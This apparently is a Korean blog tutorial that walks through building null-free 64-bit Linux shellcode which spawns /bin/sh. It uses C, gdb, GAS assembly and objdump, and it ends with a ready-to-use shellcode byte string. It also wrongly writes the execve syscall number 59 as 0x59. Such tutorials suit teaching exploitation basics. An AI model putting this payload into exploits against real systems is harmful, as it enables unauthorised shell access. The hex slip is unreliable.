64bit Linux Execve Shell Code 만들기
오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다. 예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만 지금은 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.
일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.
Write test code
어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다. 어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로 하는게 쉽습니다.
#include <stdlib.h>
int main()
{
execve("/bin/sh",NULL,NULL);
}
매우 간단합니다. 그냥 execve
함수를 통해 /bin/sh
를 실행하라고 하는 코드입니다.
Disassembling 하여 Assembly Code 확인하기
해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
0x0000000000400524 <+24>: pop %rbp
0x0000000000400525 <+25>: retq
End of assembler dump.
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고,
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.
edx, esi에 0x0(NULL)으로 값을 세팅하고 edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면 “/bin/sh”인 것을 알 수 있습니다.
(gdb) x/s 0x4005dc
0x4005dc: "/bin/sh"
그리고 세팅된 인자값을 가지고 execve를 call합니다.
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다. 여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.
mov $0x0,%edx
mov $0x0,%esi
mov $0x4005dc,%edi
mov $59, $rax
syscall
이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다. 이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.
Assembly Code 작성하기
아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq $0 ;
pushq name ;
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고
.section .data
name: .string "/bin/sh"
rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
syscall을 이용하여 명령을 실행합니다.
as -o shell.o shell.s
ld -o shell shell.o
실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.
./shell
# echo "This is /bin/sh"
This is /bin/sh
일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아 문제없이 잘 작성한 것으로 보이네요.
Objdump를 이용하여 기계어 확인하기
분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다. -d
옵션으로 볼 수 있습니다.
objdump shell -d
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 6a 00 pushq $0x0
4000b2: ff 34 25 d4 00 60 00 pushq 0x6000d4
4000b9: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000c0: 48 89 e7 mov %rsp,%rdi
4000c3: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
4000ca: 48 c7 c2 00 00 00 00 mov $0x0,%rdx
4000d1: 0f 05 syscall
일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만. strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다. 그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)
에 대한 제거가 필요합니다.
Null Byte 제거하기
여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
movq $0, %rsi
movq $0, %rdx
syscall
일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다. 일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문이죠. rax에 system call number를 넘겨주고 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.
cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
#movq $0, %rsi
#movq $0, %rdx
syscall
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: ff 34 25 c4 00 60 00 pushq 0x6000c4
4000b7: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000be: 48 89 e7 mov %rsp,%rdi
4000c1: 0f 05 syscall
./shell
# exit
코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다. 이제 Null byte의 위치를 보면 pushq 랑 2번째 mov에서 발생 합니다. 32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.
xor %eax, %eax
movb 0xb, %al
해결을 위해서 여러가지 자료를 찾아봤습니다. 찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.
cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx
# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax
mov %rsp, %rdi
shl $0x38, %rax
shr $0x38, %rax
syscall
Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이 shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다. 이에 대한 자세한 내용은 이 링크를 참고해주세요.
아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
4000b7: 73 68 11
4000ba: 48 c1 e3 08 shl $0x8,%rbx
4000be: 48 c1 eb 08 shr $0x8,%rbx
4000c2: 53 push %rbx
4000c3: 48 c7 c0 3b 11 11 11 mov $0x1111113b,%rax
4000ca: 48 89 e7 mov %rsp,%rdi
4000cd: 48 c1 e0 38 shl $0x38,%rax
4000d1: 48 c1 e8 38 shr $0x38,%rax
4000d5: 0f 05 syscall
Null Byte가 사라진 것을 알 수 있습니다. 정상 구동이 되는지 테스트를 해보면 /bin/sh
이 실행되는 것을 확인할 수 있습니다.
./shell
# ls
# shell shell.o shell.s
이제 objdump로 보인 데이터를 shell code로 만들 시간이네요. 저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.
길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x
로 바꿔주면 편합니다.
!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05
!
to \x
\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다 :D